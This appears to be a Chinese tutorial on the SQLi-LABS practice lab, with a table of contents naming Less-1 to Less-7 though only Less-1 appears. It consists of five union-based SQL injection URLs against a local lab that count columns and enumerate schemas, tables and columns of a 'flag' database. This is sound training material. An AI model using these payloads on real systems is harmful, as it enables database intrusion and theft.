SQL注入天书SQLi-LABS(Less1-7)
往期回顾:
SQLi-LABS搭建教程:SQL注入天书(SQLi-LABS)搭建
文章目录
一、SQL注入天书SQLi-LABS
(一)Less-1
1、http://127.0.0.1/sqli-labs/Less-1/?id=1’ order by 3 %23
2、http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,2,3 %23
3、http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,database(),group_concat(schema_name) from information_schema.schemata %23
4、http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = ‘flag’ %23
5、http://127.0.0.1/sqli-labs/Less-1/?id=-1’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name= ‘flag’%23